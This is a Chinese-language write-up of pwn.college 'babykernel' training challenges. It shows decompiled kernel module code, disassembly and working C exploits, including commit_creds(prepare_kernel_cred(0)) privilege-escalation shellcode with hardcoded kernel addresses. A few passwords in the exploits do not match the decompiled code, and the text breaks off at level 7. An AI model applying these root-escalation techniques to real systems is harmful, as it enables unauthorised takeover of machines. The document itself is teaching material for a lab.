简介

题目来源在pwn.college配套练习里的babykernel
平台: The challenges created for pwn.college are educational material, and are used to grade CSE466 students at ASU………we would appreciate your help in keeping pwn.college a viable educational platform。

btw 这里的大部分内容在平台相应的课程都有提及,或者在youtube上有教师录制的视频提供了些assistance,又或者在discord的讨论区有些有用的信息

总之就是个人的总结和记录吧

level1.0

init_module

初始化函数,打开根目录下的flag文件读到flag变量中
proc_create会创建虚拟文件/proc/pwncollege,是题目提供的字符设备接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl init_module()
{
__int64 v0; // rbp
__int64 v1; // rdx
__int64 v2; // rdx
__int64 v3; // rdx
__int64 v4; // rdx
__int64 v5; // rdx
__int64 v6; // rdx
__int64 v7; // rdx
__int64 v8; // rdx

v0 = filp_open("/flag", 0LL, 0LL);
memset(flag, 0, sizeof(flag));
kernel_read(v0, flag, 128LL, v0 + 104);
filp_close(v0, 0LL);
proc_entry = proc_create("pwncollege", 438LL, 0LL, &fops);
printk(&unk_12D9, 438LL, v1);
printk(&unk_10D8, 438LL, v2);
printk(&unk_12D9, 438LL, v3);
printk(&unk_1108, 438LL, v4);
printk(&unk_1170, 438LL, v5);
printk(&unk_11D0, 438LL, v6);
printk(&unk_1220, 438LL, v7);
printk(&unk_12E0, 438LL, v8);
return 0;
}

device_open

1
2
3
4
5
int __fastcall device_open(inode *inode, file *file)
{
printk(&byte_1030, inode, file);
return 0;
}

device_read

可以看到有判断,只有device_state[0]==2才会将内核态中的flag变量复制到用户态变量buffer中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ssize_t __fastcall device_read(file *file, char *buffer, size_t length, loff_t *offset)
{
const char *v6; // rsi
size_t v7; // rdx
unsigned __int64 v8; // kr08_8

printk(&unk_1098, file, buffer);
v6 = flag;
if ( device_state[0] != 2 )
{
v6 = "device error: unknown state\n";
if ( device_state[0] <= 2 )
{
v6 = "password:\n";
if ( device_state[0] )
{
v6 = "device error: unknown state\n";
if ( device_state[0] == 1 )
{
device_state[0] = 0;
v6 = "invalid password\n";
}
}
}
}
v7 = length;
v8 = strlen(v6) + 1;
if ( v8 - 1 <= length )
v7 = v8 - 1;
return v8 - 1 - copy_to_user(buffer, v6, v7);
}

device_write

传进来用户态的buffer复制到内核的password里,,和字符串teffctytaeippuch比较,相同则device_state[0]=2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t v5; // rdx
unsigned __int64 v6; // rax
size_t v7; // rdx
char password[16]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v10; // [rsp+10h] [rbp-18h]

v10 = __readgsqword(0x28u);
printk(&unk_1058, file, buffer);
v5 = 16LL;
if ( length <= 0x10 )
v5 = length;
v6 = copy_from_user(password, buffer, v5);
v7 = 17LL;
if ( v6 <= 0x11 )
v7 = v6;
device_state[0] = (strncmp(password, "teffctytaeippuch", v7) == 0) + 1;
return length;
}


首先open("/proc/pwncollege", O_RDWR)以可读可写方式打开虚拟文件,向该文件执行读写操作便会进入内核态调用相应的api。通过调用write传入password,然后调用read把flag读到用户态的变量中,最后在用户态输出该变量即得到flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
char key[] = "teffctytaeippuc";
write(fd, key, sizeof(key));
read(fd, buffer, 100);
printf("%s\n", buffer);
close(fd);
return 0;
}

level1.1

和level1.0基本没差,只有device_read看起来有一些不同,password改一下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
ssize_t __fastcall device_read(file *file, char *buffer, size_t length, loff_t *offset)
{
size_t v5; // rbx
const char *v6; // rsi
char *v8; // rbx
int v9; // ecx
unsigned int v10; // eax

if ( device_state[0] == 1 )
{
device_state[0] = 0;
v5 = 17LL;
v6 = "invalid password\n";
goto LABEL_5;
}
if ( device_state[0] == 2 )
{
v8 = flag;
do
{
v9 = *v8;
v8 += 4;
v10 = ~v9 & (v9 - 16843009) & 0x80808080;
}
while ( !v10 );
v6 = flag;
if ( (~v9 & (v9 - 16843009) & 0x8080) == 0 )
v10 >>= 16;
if ( (~v9 & (v9 - 16843009) & 0x8080) == 0 )
v8 += 2;
offset = v10;
LOBYTE(offset) = 2 * v10;
v5 = v8 - &flag[__CFADD__(v10, v10) + 3];
goto LABEL_5;
}
if ( device_state[0] )
{
v5 = 28LL;
v6 = "device error: unknown state\n";
LABEL_5:
if ( length > v5 )
length = v5;
return v5 - copy_to_user(buffer, v6, length, offset);
}
if ( length > 0xA )
length = 10LL;
return 10 - copy_to_user(buffer, "password:\n", length, offset);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
char key[] = "vqhrnrwxusljyorq";
write(fd, key, sizeof(key));
read(fd, buffer, 100);
printf("%s\n", buffer);
close(fd);
return 0;
}

level2.0

很显然调用write传入password即可
需要注意的是这里printk不会把内容显示到终端上,但是会在内核缓冲区里,可以执行dmesg查看

device_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t len; // rdx
unsigned __int64 v6; // rax
size_t v7; // rdx
__int64 v8; // rdx
char password[16]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v11; // [rsp+10h] [rbp-18h]

v11 = __readgsqword(0x28u);
printk(&unk_D40, file, buffer);
len = 16LL;
if ( length <= 0x10 )
len = length;
v6 = copy_from_user(password, buffer, len);
v7 = 17LL;
if ( v6 <= 17 )
v7 = v6;
if ( !strncmp(password, "qasdyasejvzixjid", v7) )
printk(&unk_F20, flag, v8);
return length;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>

int main() {
int fd = open("/proc/pwncollege", O_RDWR);
char key[] = "qasdyasejvzixjid";
write(fd, key, sizeof(key));
close(fd);
return 0;
}

level2.1

和2.0不能说一模一样,只能说没有区别

level3.0

device_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t v5; // rdx
unsigned __int64 v6; // rax
size_t v7; // rdx
char password[16]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v10; // [rsp+10h] [rbp-18h]

v10 = __readgsqword(0x28u);
printk(&unk_BC0);
v5 = 16LL;
if ( length <= 0x10 )
v5 = length;
v6 = copy_from_user(password, buffer, v5);
v7 = 17LL;
if ( v6 <= 0x11 )
v7 = v6;
if ( !strncmp(password, "zovkowmyrqgzmumw", v7) )
win();
return length;
}

win

1
2
3
4
5
6
7
8
void __cdecl win()
{
__int64 v0; // rax

printk(&unk_B80);
v0 = prepare_kernel_cred(0LL);
commit_creds(v0);
}

给了个后门win
调用write进入win,执行commit_creds(prepare_kernel_cred(0LL)),即获得root权限
然后再打开flag,读到用户态输出即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
char key[] = "zovkowmyrqgzmumw";
write(fd, key, sizeof(key));
int fd2 = open("/flag", O_RDWR);
read(fd2, buffer, 100);
printf("%s\n", buffer);
close(fd);
return 0;
}

level3.1

与level3.0基本没差

level4.0

device_ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 result; // rax
unsigned __int64 v5; // rax
size_t v6; // rdx
int v7; // er8
char password[16]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v9; // [rsp+10h] [rbp-18h]

v9 = __readgsqword(0x28u);
printk(&unk_890);
result = -1LL;
if ( cmd == 1337 )
{
v5 = copy_from_user(password, arg, 16LL);
v6 = 17LL;
if ( v5 <= 0x11 )
v6 = v5;
v7 = strncmp(password, "gmafokhfvipyzkpw", v6);
result = 0LL;
if ( !v7 )
{
win();
result = 0LL;
}
}
return result;
}

同样win函数能够提升权限至root

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
char key[] = "xiftkfvmcuytkbfl";
ioctl(fd, 1337, key);
int fd2 = open("/flag", O_RDWR);
read(fd2, buffer, 100);
printf("%s\n", buffer);
close(fd);
return 0;
}

level4.1

没差

level5.0

device_ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 result; // rax

printk(&unk_B98);
result = -1LL;
if ( cmd == 1337 )
{
_x86_indirect_thunk_rbx(&unk_B98, file);
result = 0LL;
}
return result;
}

仍然有后门,ioctl中操作码1337调用函数_x86_indirect_thunk_rbx

1
2
3
4
5
#define DECL_INDIRECT_THUNK(reg) \
extern asmlinkage void __x86_indirect_thunk_ ## reg (void);
SYM_FUNC_START(__x86_indirect_thunk_\reg)
JMP_NOSPEC \reg
SYM_FUNC_END(__x86_indirect_thunk_\reg

相当于
1
2
3
void __x86_indirect_thunk_rbx (void) {
__asm__("jmp rbx");
}

gdb反汇编如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) file /opt/linux/vmlinux 
Load new symbol table from "/opt/linux/vmlinux"? (y or n) y
Reading symbols from /opt/linux/vmlinux...
(gdb) disa
disable disassemble
(gdb) disassemble __x86_indirect_thunk_rbx
Dump of assembler code for function __x86_indirect_thunk_rbx:
0xffffffff81e00ef0 <+0>: jmp *%rbx
0xffffffff81e00ef2 <+2>: nop
0xffffffff81e00ef3 <+3>: nop
0xffffffff81e00ef4 <+4>: nop
0xffffffff81e00ef5 <+5>: nop
0xffffffff81e00ef6 <+6>: nop
0xffffffff81e00ef7 <+7>: nop
0xffffffff81e00ef8 <+8>: nop
0xffffffff81e00ef9 <+9>: nop
0xffffffff81e00efa <+10>: nop
0xffffffff81e00efb <+11>: nop
0xffffffff81e00efc <+12>: nop
0xffffffff81e00efd <+13>: nop
0xffffffff81e00efe <+14>: nop
0xffffffff81e00eff <+15>: nop
0xffffffff81e00f00 <+16>: nop
End of assembler dump.

即可以看成jmp rbx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text.unlikely:0000000000000AFC ; __int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
.text.unlikely:0000000000000AFC device_ioctl proc near ; DATA XREF: .data:fops↓o
.text.unlikely:0000000000000AFC file = rdi ; file *
.text.unlikely:0000000000000AFC cmd = rsi ; unsigned int
.text.unlikely:0000000000000AFC arg = rdx ; unsigned __int64
.text.unlikely:0000000000000AFC push rbp
.text.unlikely:0000000000000AFD mov rcx, arg
.text.unlikely:0000000000000B00 mov ebp, esi
.text.unlikely:0000000000000B02 cmd = rbp ; unsigned int
.text.unlikely:0000000000000B02 push rbx
.text.unlikely:0000000000000B03 mov rbx, arg
.text.unlikely:0000000000000B06 arg = rbx ; unsigned __int64
.text.unlikely:0000000000000B06 mov edx, esi
.text.unlikely:0000000000000B08 mov rsi, file
.text.unlikely:0000000000000B0B mov file, offset unk_B98
.text.unlikely:0000000000000B12 call printk ; PIC mode
.text.unlikely:0000000000000B17 or rax, 0FFFFFFFFFFFFFFFFh
.text.unlikely:0000000000000B1B cmp ebp, 539h
.text.unlikely:0000000000000B21 jnz short loc_B2A
.text.unlikely:0000000000000B23 call __x86_indirect_thunk_rbx ; PIC mode
.text.unlikely:0000000000000B28 xor eax, eax
.text.unlikely:0000000000000B2A
.text.unlikely:0000000000000B2A loc_B2A: ; CODE XREF: device_ioctl+25↑j
.text.unlikely:0000000000000B2A pop arg
.text.unlikely:0000000000000B2B pop cmd
.text.unlikely:0000000000000B2C retn
.text.unlikely:0000000000000B2C device_ioctl endp

汇编中可以看到rbx即参数arg

思路

本题没有开kaslr,进入practice(调试)模式进虚拟机后sudo进入root,执行
root@vm_practice_babykernel_level5:~# cat /proc/kallsyms | grep win

看到函数地址ffffffffc0000b2d t win [challenge]

所以可以布置第三个参数为win函数地址,即可跳转进入后门,接下来打开flag传到用户态再打印即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>

int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
ioctl(fd, 1337, 0xffffffffc0000b2d);
int fd2 = open("/flag", O_RDWR);
read(fd2, buffer, 100);
printf("%s\n", buffer);
close(fd);
return 0;
}

level5.1

没差

level6.0

device_write

1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t v5; // rdx
__int64 v6; // rbp

printk(&unk_708, file, buffer);
v5 = 4096LL;
if ( length <= 0x1000 )
v5 = length;
v6 = copy_from_user(shellcode, buffer, v5);
_x86_indirect_thunk_rax();
return length - v6;
}

_x86_indirect_thunk_rax和前文提到的_x86_indirect_thunk_rbx类似,这里即jmp rax

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(gdb) disassemble __x86_indirect_thunk_rax
Dump of assembler code for function __x86_indirect_thunk_rax:
0xffffffff81e00ed0 <+0>: jmp *%rax
0xffffffff81e00ed2 <+2>: nop
0xffffffff81e00ed3 <+3>: nop
0xffffffff81e00ed4 <+4>: nop
0xffffffff81e00ed5 <+5>: nop
0xffffffff81e00ed6 <+6>: nop
0xffffffff81e00ed7 <+7>: nop
0xffffffff81e00ed8 <+8>: nop
0xffffffff81e00ed9 <+9>: nop
0xffffffff81e00eda <+10>: nop
0xffffffff81e00edb <+11>: nop
0xffffffff81e00edc <+12>: nop
0xffffffff81e00edd <+13>: nop
0xffffffff81e00ede <+14>: nop
0xffffffff81e00edf <+15>: nop
0xffffffff81e00ee0 <+16>: nop
End of assembler dump.

device_write汇编如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.text.unlikely:000000000000065C ; ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
.text.unlikely:000000000000065C device_write proc near ; DATA XREF: .data:fops↓o
.text.unlikely:000000000000065C file = rdi ; file *
.text.unlikely:000000000000065C buffer = rsi ; const char *
.text.unlikely:000000000000065C length = rdx ; size_t
.text.unlikely:000000000000065C offset = rcx ; loff_t *
.text.unlikely:000000000000065C push rbp
.text.unlikely:000000000000065D mov r8, offset
.text.unlikely:0000000000000660 mov rbp, buffer
.text.unlikely:0000000000000663 buffer = rbp ; const char *
.text.unlikely:0000000000000663 mov offset, length
.text.unlikely:0000000000000666 push rbx
.text.unlikely:0000000000000667 mov rbx, length
.text.unlikely:000000000000066A length = rbx ; size_t
.text.unlikely:000000000000066A mov rdx, rsi
.text.unlikely:000000000000066D mov rsi, file
.text.unlikely:0000000000000670 mov file, offset unk_708
.text.unlikely:0000000000000677 call printk ; PIC mode
.text.unlikely:000000000000067C cmp length, 1000h
.text.unlikely:0000000000000683 mov edx, 1000h
.text.unlikely:0000000000000688 mov rsi, buffer
.text.unlikely:000000000000068B cmovbe rdx, length
.text.unlikely:000000000000068F mov rdi, cs:shellcode
.text.unlikely:0000000000000696 call _copy_from_user ; PIC mode
.text.unlikely:000000000000069B mov buffer, rax
.text.unlikely:000000000000069E mov rax, cs:shellcode
.text.unlikely:00000000000006A5 call __x86_indirect_thunk_rax ; PIC mode
.text.unlikely:00000000000006AA mov rax, length
.text.unlikely:00000000000006AD pop length
.text.unlikely:00000000000006AE length = rax ; size_t
.text.unlikely:00000000000006AE sub length, rbp
.text.unlikely:00000000000006B1 pop rbp
.text.unlikely:00000000000006B2 retn
.text.unlikely:00000000000006B2 device_write endp

函数会将用户态buffer的内容传入内核态的shellcode变量中
jmp rax前,rax指向shellcode
所以需要一段能够提权的shellcode

思路

内核中有一个cred结构体描述进程的权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

需要用到内核里的两个函数prepare_kernel_credcommit_creds
prepare_kernel_cred帮助构造一个cred
commit_creds修改当前进程的cred

prepare_kernel_cred

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
* prepare_kernel_cred - Prepare a set of credentials for a kernel service
* @daemon: A userspace daemon to be used as a reference
*
* Prepare a set of credentials for a kernel service. This can then be used to
* override a task's own credentials so that work can be done on behalf of that
* task that requires a different subjective context.
*
* @daemon is used to provide a base for the security record, but can be NULL.
* If @daemon is supplied, then the security data will be derived from that;
* otherwise they'll be set to 0 and no groups, full capabilities and no keys.
*
* The caller may change these controls afterwards if desired.
*
* Returns the new credentials or NULL if out of memory.
*/
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
.......
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
.......
validate_creds(old);

*new = *old;
.......

put_cred(old);
validate_creds(new);
return new
}

当变量daemon为0时,会复制init进程的cred作为当前进程的cred

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/*
* The initial credentials for the initial task
*/
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
.subscribers = ATOMIC_INIT(2),
.magic = CRED_MAGIC,
#endif
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
.user = INIT_USER,
.user_ns = &init_user_ns,
.group_info = &init_groups,
};

所以执行prepare_kernel_cred (0)即可返回一个root对应的cred

commit_creds

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**
* commit_creds - Install new credentials upon the current task
* @new: The credentials to be assigned
*
* Install a new set of credentials to the current task, using RCU to replace
* the old set. Both the objective and the subjective credentials pointers are
* updated. This function may not be called if the subjective credentials are
* in an overridden state.
*
* This function eats the caller's reference to the new credentials.
*
* Always returns 0 thus allowing this function to be tail-called at the end
* of, say, sys_setgid().
*/
int commit_creds(struct cred *new)
{
struct task_struct *task = current; // task 指向当前进程的 task_struct 结构
const struct cred *old = task->real_cred;

......

validate_creds(old);
validate_creds(new);

......

get_cred(new); /* we will require a ref for the subj creds too */
......
/* do it
* RLIMIT_NPROC limits on user->processes have already been checked
* in set_user().
*/
alter_cred_subscribers(new, 2);
if (new->user != old->user)
atomic_inc(&new->user->processes);
rcu_assign_pointer(task->real_cred, new); // 修改 task 的 real_cred 为 new cred
rcu_assign_pointer(task->cred, new); // 修改 task 的 cred 为 new cred

......
/* release the old obj and subj refs both */
put_cred(old);
put_cred(old);
return 0;
}
EXPORT_SYMBOL(commit_creds);

该函数用来更新进程的cred

所以执行commit_creds(prepare_kernel_cred (0))能够提升权限为root

本题同样没有kaslr,可以读取/proc/kallsyms获取函数地址

1
2
3
4
5
hacker@vm_practice_babykernel_level6:~$ sudo -i
root@vm_practice_babykernel_level6:~# cat /proc/kallsyms | grep commit_creds
ffffffff81088d80 T commit_creds
root@vm_practice_babykernel_level6:~# cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810890c0 T prepare_kernel_cred

commit_creds(prepare_kernel_cred (0))对应汇编

1
2
3
4
5
6
7
8
9
10
11
push rsi
mov rsi, ffffffff810890c0
push rdi
xor rdi, rdi
call rsi
mov rdi, rax
mov rsi, ffffffff81088d80
call rsi
pop rdi
pop rsi
ret

这里要得到shellcode对应字节码可以直接利用pwntools转换
或者使用rasm2

1
2
3
4
5
6
7
8
hacker@babykernel_level6:~$ rasm2 -a x86 -b 64 -C -f shellcode 
"\x56\x48\xc7\xc6\xc0\x90\x08\x81\x57\x48\x31\xff\xff\xd6\x48\x89\xc7\x48\xc7\xc6" \
"\x80\x8d\x08\x81\xff\xd6\x5f\x5e\xc3"

-a x86 x86结构
-b 64 64位cpu
-C 输出为C语言格式
-f 从文件读取

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>

int main() {
char shellcode[] = "VH\xc7\xc6\xc0\x90\x08\x81WH1\xff\xff\xd6H\x89\xc7H\xc7\xc6\x80\x8d\x08\x81\xff\xd6_^\xc3";
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
write(fd, shellcode, sizeof(shellcode));
int fd2 = open("/flag", O_RDWR);
read(fd2, buffer, 100);
printf("%s\n", buffer);
close(fd);
return 0;
}

level6.1

没差

level7.0

init_module

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl init_module()
{
__int64 v0; // rdx
__int64 v1; // rcx
__int64 v2; // rdx
__int64 v3; // rcx
__int64 v4; // rdx
__int64 v5; // rcx
__int64 v6; // rdx
__int64 v7; // rcx
__int64 v8; // rdx
__int64 v9; // rcx
__int64 v10; // rdx
__int64 v11; // rcx
__int64 v12; // rdx
__int64 v13; // rcx
__int64 v14; // rdx
__int64 v15; // rcx
__int64 v16; // rdx
__int64 v17; // rcx

shellcode = _vmalloc(0x1000LL, 0xCC0LL, _default_kernel_pte_mask & 0x163);
proc_entry = proc_create("pwncollege", 438LL, 0LL, &fops);
printk(&unk_AFA, 438LL, v0, v1);
printk(&unk_920, 438LL, v2, v3);
printk(&unk_AFA, 438LL, v4, v5);
printk(&unk_950, 438LL, v6, v7);
printk(&unk_9B8, 438LL, v8, v9);
printk(&unk_A18, 438LL, v10, v11);
printk(&unk_A58, 438LL, v12, v13);
printk(&unk_AA0, 438LL, v14, v15);
printk(&unk_B01, 438LL, v16, v17);
return 0;
}

初始化的时候vmalloc了一块内存shellcode

device_ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 result; // rax
size_t shellcode_length; // [rsp+0h] [rbp-28h] BYREF
void (*shellcode_execute_addr[4])(void); // [rsp+8h] [rbp-20h] BYREF

shellcode_execute_addr[1] = __readgsqword(0x28u);
printk(&unk_8F0, file, cmd);
result = -1LL;
if ( cmd == 1337 )
{
copy_from_user(&shellcode_length, arg, 8LL);
copy_from_user(shellcode_execute_addr, arg + 0x1008, 8LL);
result = -2LL;
if ( shellcode_length <= 0x1000 )
{
copy_from_user(shellcode, arg + 8, shellcode_length);
_x86_indirect_thunk_rax();
result = 0LL;
}
}
return result;
}

汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
.text.unlikely:00000000000007EC ; __int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
.text.unlikely:00000000000007EC device_ioctl proc near ; DATA XREF: .data:fops↓o
.text.unlikely:00000000000007EC
.text.unlikely:00000000000007EC shellcode_length= qword ptr -28h
.text.unlikely:00000000000007EC shellcode_execute_addr= qword ptr -20h
.text.unlikely:00000000000007EC var_18 = qword ptr -18h
.text.unlikely:00000000000007EC
.text.unlikely:00000000000007EC file = rdi ; file *
.text.unlikely:00000000000007EC cmd = rsi ; unsigned int
.text.unlikely:00000000000007EC arg = rdx ; unsigned __int64
.text.unlikely:00000000000007EC push rbp
.text.unlikely:00000000000007ED mov rcx, arg
.text.unlikely:00000000000007F0 mov ebp, esi
.text.unlikely:00000000000007F2 cmd = rbp ; unsigned int
.text.unlikely:00000000000007F2 push rbx
.text.unlikely:00000000000007F3 mov rbx, arg
.text.unlikely:00000000000007F6 arg = rbx ; unsigned __int64
.text.unlikely:00000000000007F6 mov edx, esi
.text.unlikely:00000000000007F8 mov rsi, file
.text.unlikely:00000000000007FB mov file, offset unk_8F0
.text.unlikely:0000000000000802 sub rsp, 18h
.text.unlikely:0000000000000806 mov rax, gs:28h
.text.unlikely:000000000000080F mov [rsp+28h+var_18], rax
.text.unlikely:0000000000000814 xor eax, eax
.text.unlikely:0000000000000816 call printk ; PIC mode
.text.unlikely:000000000000081B or rax, 0FFFFFFFFFFFFFFFFh
.text.unlikely:000000000000081F cmp ebp, 539h
.text.unlikely:0000000000000825 jnz short loc_87D
.text.unlikely:0000000000000827 mov edx, 8
.text.unlikely:000000000000082C mov rsi, arg
.text.unlikely:000000000000082F mov rdi, rsp
.text.unlikely:0000000000000832 call _copy_from_user ; PIC mode
.text.unlikely:0000000000000837 mov edx, 8
.text.unlikely:000000000000083C lea rsi, [arg+1008h]
.text.unlikely:0000000000000843 lea rdi, [rsp+28h+shellcode_execute_addr]
.text.unlikely:0000000000000848 call _copy_from_user ; PIC mode
.text.unlikely:000000000000084D mov rdx, [rsp+28h+shellcode_length]
.text.unlikely:0000000000000851 mov rax, 0FFFFFFFFFFFFFFFEh
.text.unlikely:0000000000000858 cmp rdx, 1000h
.text.unlikely:000000000000085F ja short loc_87D
.text.unlikely:0000000000000861 mov rdi, cs:shellcode
.text.unlikely:0000000000000868 lea rsi, [arg+8]
.text.unlikely:000000000000086C call _copy_from_user ; PIC mode
.text.unlikely:0000000000000871 mov rax, [rsp+28h+shellcode_execute_addr]
.text.unlikely:0000000000000876 call __x86_indirect_thunk_rax ; PIC mode
.text.unlikely:000000000000087B xor eax, eax
.text.unlikely:000000000000087D
.text.unlikely:000000000000087D loc_87D: ; CODE XREF: device_ioctl+39↑j
.text.unlikely:000000000000087D ; device_ioctl+73↑j
.text.unlikely:000000000000087D mov rcx, [rsp+28h+var_18]
.text.unlikely:0000000000000882 xor rcx, gs:28h
.text.unlikely:000000000000088B jz short loc_892
.text.unlikely:000000000000088D call __stack_chk_fail ; PIC mode
.text.unlikely:0000000000000892 ; ---------------------------------------------------------------------------
.text.unlikely:0000000000000892
.text.unlikely:0000000000000892 loc_892: ; CODE XREF: device_ioctl+9F↑j
.text.unlikely:0000000000000892 add rsp, 18h
.text.unlikely:0000000000000896 pop arg
.text.unlikely:0000000000000897 pop cmd
.text.unlikely:0000000000000898 retn
.text.unlikely:0000000000000898 device_ioctl endp

可以看到将参数arg复制给shellcode_lengtharg+0x1008复制到shellcode_execute_addr,当shellcode_length<=0x1000时把arg+8复制给shellcode,然后jmp raxraxshellcode_execute_addr

所以按照对应偏移布置好参数和shellcode,shelcode_length = 0x50shellcode执行commit_creds(prepare_kernel_cred (0))shellcode_execute_addr=0xffffc90000085000(kernel里shellcode的地址)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>

int main() {
